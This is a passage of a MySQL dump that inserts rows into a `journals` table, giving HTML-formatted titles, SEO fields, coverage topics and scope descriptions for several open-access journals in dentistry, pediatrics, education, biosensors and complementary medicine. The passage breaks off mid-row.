  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`j_id`)
) ENGINE=InnoDB AUTO_INCREMENT=44 DEFAULT CHARSET=latin1;

/*Data for the table `journals` */

insert  into `journals`(`j_id`,`category`,`baneer_image`,`title`,`subject`,`alt_tags`,`seo_title`,`seo_url`,`seo_keywords`,`seo_description`,`key_words`,`description`,`prices`,`status`,`create_at`,`update_at`,`create_by`) values (15,20,'1530380398.jpg','Dentistry and Dental Ailments Journal','Dental','Dentistry and Dental Ailments Journal','Dentistry and-Dental-Ailments-Journal','Dentistry-and-Dental-Ailments-Journal','Dentistry-and-Dental-Ailments-Journal','Dentistry-and-Dental-Ailments-Journal','<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Coverage Topics</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dental public health and epidemiology oral health</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dental treatments and therapies</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dental diseases</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dentistry education and licencising</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Root canal therapy and endodontology</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Forensic odontology</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Geriatric dentistry</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Modern dentistry and hazards related</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Oral and maxillofacial pathology </span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Oral and maxillofacial radiology</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Oral and maxillofacial surgery</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Oral biology</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Oral Implantology</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Oral medicine</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Orthodontics</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Pediatric dentistry</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Periodontology</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Prosthodontics</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Special needs dentistry</span></span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Dentistry and Dental Ailments Journal</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dentistry and Dental Ailments Journal (DDAJ) </strong>is multidisciplinary peer-reviewed dental journal publishing articles in the field of general dentistry and restorative dentistry. It is an open access<span style=\"color:black\"> journal that publishes novel, original achievements in clinical studies in all areas of dentistry, including periodontal diseases, dental implants, oral pathology, as well as oral and maxillofacial surgery.</span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Dentistry and Dental Ailments Journal (DDAJ)<strong> </strong>aims in publishing original scientific research papers including review articles, short communications, case reports, image articles, brief reports, unusual and interesting case presentations etc in the sphere of dental sciences by encouraging dental ailments solution.&nbsp; The journal is dedicated for both eminent, experienced dental dignitaries and upcoming motivated dentists and dental surgical practioners who are passionate to learn, share their knowledge covering the management of dental disease, periodontology, endodontology, operative dentistry, fixed and removable prosthodontics, dental biomaterials science, long-term clinical trials including epidemiology and oral health, technology transfer of new scientific instrumentation or procedures, as well as clinically relevant oral biology and translational research as themes for generating a forum at global stage.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The journal being an online and free access for its readers tries to provide all its published articles in pdf/html text which are easily downloadable.</span></span></span></p>\r\n','<p>&nbsp;</p>\r\n\r\n<p>Coming Soon</p>',1,'2018-06-30 18:02:03','2018-10-12 14:20:31',1),(16,20,'1530383832.jpg','Annals of Medical & Surgical Case Reports','Medical & Surgical Case Reports','Annals of Medical & Surgical Case Reports','Annals-Medical-Surgical-Case-Reports','Annals-Medical-Surgical-Case-Reports','Medical Surgical Case Reports','Medical-Surgical-Case-Reports','<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Neurology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Dentistry</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Cardiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Obstetrics and Gynecology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Infectious Diseases</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Orthopedics and Rehumatology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Ophthalmology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Otolaryngology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Medicine</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Oncology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Pathology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Pediatrics</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Surgery</span></span></li>\r\n	<li><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Case Reports in Urology</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Annals of Medical &amp; Surgical Case Reports</span></strong></span></span></p>\r\n\r\n<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Annals of Medical &amp; Surgical Case Reports (AMSCR) </strong>is an open access, peer reviewed electronic journal set up to publish articles in all areas of basic medical sciences and clinical specialties. The journal acts as framework for invaluable first-hand source of evidence in medical sciences and a tool most often used in practice to exchange information and generate a more expanded search for evidence through advanced research on diagnosis, treatment effectiveness, causes and outcomes of disease.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>AMSCR</strong> aims to encourage medical professionals for the publication of new information by providing a platform for reporting of unique, unusual and rare cases which enhance understanding of disease process, its diagnosis, management and clinico-pathologic correlations in field of medical sciences at an international level.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">The journal acts to be extensive knowledge source for clinical decision-making and bedside-decision oriented research. Therefore, the aim of the Journal is to gather case reports across medical disciplines, thereby integrating interdisciplinary, global medical knowledge.</span></span></p>\r\n','<p>Coming soon</p>',1,'2018-07-01 00:07:12','2018-07-17 20:15:12',1),(17,20,'1530384254.jpg','Annals of Pediatrics and Child Care','Pediatrics','Annals of Pediatrics and Child Care','Annals-Pediatrics-Child-Care','Annals-Pediatrics-Child-Care','Annals-Pediatrics -Child Care','Annals-Pediatrics -Child Care','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#222222\">Coverage Topics</span></strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Allergy</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Cancer</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Dentistry</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Nutrition</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Obesity</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Psychology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Health Care</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatrics Orthopedics</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Adolescent Medicine</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Developmental Pediatrics</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Neonatology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Cardiology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Dermatology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Endocrinology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Gastroenterology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Hematology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Infectious Diseases</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Intensive Care</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Nephrology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Neurology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Respirology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Rheumatology</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Pediatric Surgery</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Neonatology </span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">Annals of Pediatrics and Child Care</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Annals of Pediatrics and Child Care (APCC) </strong>an electronic and an international based online journal endorses current advances in pediatric research and serves as a practical outlook for pediatricians, clinicians, physicians, interns, residents, and surgeons involved in pediatric medicine, child care and related health issues.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scope</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Annals of Pediatrics and Child Care (APCC)</span></strong><span style=\"color:black\"> is an </span><span style=\"color:#222222\">open access journal </span><span style=\"color:black\">dedicated to the latest </span><span style=\"color:#222222\">streamlined</span><span style=\"color:black\"> advancements </span><span style=\"color:#222222\">yet scientifically rigorous, dissemination of peer-reviewed science related to childhood health and disease </span><span style=\"color:black\">provides a forum for pediatricians who diagnose and treat disorders in infants, children, and adolescents </span><span style=\"color:#222222\">in developed and developing countries.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">This journal provides a platform for scientists and academicians all over the world to promote, share, and discuss various new issues and developments in different areas of pediatrics. All manuscripts must be prepared in English and are subject to a rigorous and fair peer-review process. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\"><span style=\"color:#222222\">The publication focuses on sharing clinical, epidemiological and translational science relevant to children&rsquo;s health. In addition to original research, the journal publishes expert editorials and commentaries, clinical case reports, and insightful communications reflecting the latest developments in pediatric medicine. By publishing meritorious articles also permits rapid open access sharing of new information, allowing us to reach the broadest audience in the most expedient fashion.</span><span style=\"color:black\">Generally, accepted papers will appear online within 3 weeks from submission.</span> </span></span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 00:14:13','2018-12-17 00:39:50',1),(18,20,'1530384735.jpg','International Journal of Education Advancement','Education','International Journal of Education Advancement','International-Journal-Education-Advancement','International-Journal-Education-Advancement','International-Journal-Education-Advancement','Education','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Alternative education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Auto didacticism</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Early childhood education </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Educational psychology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Educational philosophy </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Educational management</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Educational methods and learning</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Educational theories</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Informal learning</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Higher education and Adult education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Indigenous education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Open education and Educational technology</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Organizational models and learning environment</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Pedagogy</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Primary Education and programs in different countries </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Secondary education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Special education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Socioeconomic condition and Education </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Traditional education</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Vocational education and training</span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#00b050\">International Journal of Education Advancement</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal Outline</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">International Journal of Education Advancement</span></strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\"> <strong>(IJEA) </strong>publishes manuscripts that describes or synthesize research of direct relevance towards innovative educational practice methods applied from KG (kindergarten) to PG (Post Graduation) and even higher level. This journal is an open-access, international, double-blind peer-reviewed journal which encourages in promoting excellence through dissemination of high-quality research findings, specialist knowledge, and discussion of professional issues that reflect the diversity of Education and its advancement with emphasizing learning methodologies. The journal publishes a broad range of papers from all branches of education and individual or group learning relating to education, including but not limited to curriculum, elementary and secondary education, higher and adult education, teacher education, the education of special groups, gender and education, applied linguistics or language education, educational and information technology, educational theory, research and methodologies.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Scope</span></strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">International Journal of Education Advancement seeks to bridge and integrate the intellectual, methodological, and substantive diversity of educational scholarship, and to encourage a vigorous dialogue between educational scholars and practitioners to generate a forum of diversified and distinguished intellectuals to publish their research, theoretical statements, philosophical arguments, and critical syntheses of a field of educational inquiry by means of Research articles, Reviews, Brief Reports, Perspectives, Communications, Opinions at an international level through online publications.</span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 00:22:14','2018-07-19 23:57:28',1),(19,20,'1530431407.jpg','Advanced Research in Biosensor and Bioelectronics','Biosensors and Bioelectronics','Advanced Research in Biosensors and Bioelectronics','Advanced-Research-Biosensors-Bioelectronics','Advanced-Research-Biosensors-Bioelectronics','Advanced-Research-Biosensors-Bioelectronics','Advanced-Research-Biosensors-Bioelectronics','<h3><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></h3>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Biosensor System</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Bioreceptors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Biotransducer</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Glucose Monitoring</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Interferometric Reflectance Imaging Sensor</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Food Analysis</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">DNA Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Microbial Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Ozone Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Metastatic Cancer Cell Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Biomaterials</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Nanobiosensors and Nanotechnology Used in Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Organic Electronic Material</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Medical Implants</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Amperometric Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Graphene Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Piezo electric Sensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Optical Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Potentiometric Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Colorimetric Biosensors</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Nucleic Acid Interactions</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Biosensors Fabrications</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Surface Plasmon Resonance</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Security and Defense</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Microfluidic Devices</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Biosensor interfaces and Membrane Technology</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Biosensors Companies and Market Analysis</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Surface Attachment of the Biological Elements</span></span></li>\r\n</ul>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:#00b050\">Advanced Research in Biosensor and Bioelectronics</span></strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Journal Outline</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Advanced Research in Biosensor and Bioelectronics (ARBB) </strong>is scholarly and multifaceted international online electronic based journal embarks it publication on Biosensors (biomedical analytical devices) and Bioelectronics (Electronics integrated to biological aspects) with advanced exploitation of biological materials and designs in novel diagnostic techniques combating several emerging concerns in biotechnology, nanotechnology, biomedical engineering, immunology, and environmental engineering. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Scope</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong><span style=\"color:#111111\">Advanced Research in Biosensor and Bioelectronics</span></strong><span style=\"color:#111111\"> (ARBB) is an open access journal that covers biological materials and designs in novel diagnostic and electronic devices including sensors, DNA chips, electronic noses, lab-on-a-chip and &mu;-TAS.</span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><span style=\"color:#444444\">Biosensor is an analytical device that combines biological component with physicochemical detector like cardiac pacemaker, blood glucose meter and magnetic resonance imaging. The field of bioelectronics comprises the subjects of electrical engineering, biology, physics, chemistry and materials science. </span></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><span style=\"color:#111111\">This is a peer-reviewed scientific journal covers high quality manuscripts both relevant and applicable to the broad field of knowledge related to best understanding of the latest advancements in different areas of biosensors and bioelectronics.</span></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><span style=\"color:#222222\">Our aim is to encourage scientists to publish their experimental and theoretical results in as much detail as possible. There is no restriction on the length of the papers. The full experimental details must be provided so that the results can be reproduced.</span></span></span></p>\r\n','<p>Coming Soon</p>',1,'2018-07-01 13:20:06','2018-10-04 22:19:04',1),(20,20,'1539417959.jpg','Chronicles of Complementary, Alternative & Integrative','Complementary Medicine','Chronicles of Complementary, Alternative & Integrative Medicine','Chronicles-of-Complementary-Alternative-Integrative-Medicine','Chronicles-of-Complementary-Alternative-Integrative-Medicine','Chronicles-of-Complementary-Alternative-Integrative-Medicine','Chronicles-of-Complementary-Alternative-Integrative-Medicine','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Coverage Topics</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Manuscripts are highly encouraged to be submitted topics mentioned with:</span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Botanical Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Acupuncture and Traditional Chinese Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Chiropractic Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Mind-Body Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Herbal medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Nutrition and Dietary Supplements</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Yoga</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Ayurveda</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Naturopathy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Homeopathy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Massage Therapy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Subtle Energies and Energy Medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Magnetic Field Therapy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Neurostimulation</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Preventative medicine</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Integrative Biophysics and other allied areas</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Alternative Therapies in Health and Medicine</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Criticism, Legitimacy and Effects</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Traditional Medicines</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Applied Medicinal Plants</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Effects of Therapeutics</span></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Hypnotherapy</span></li>\r\n	<li><span style=\"font-family:Times New 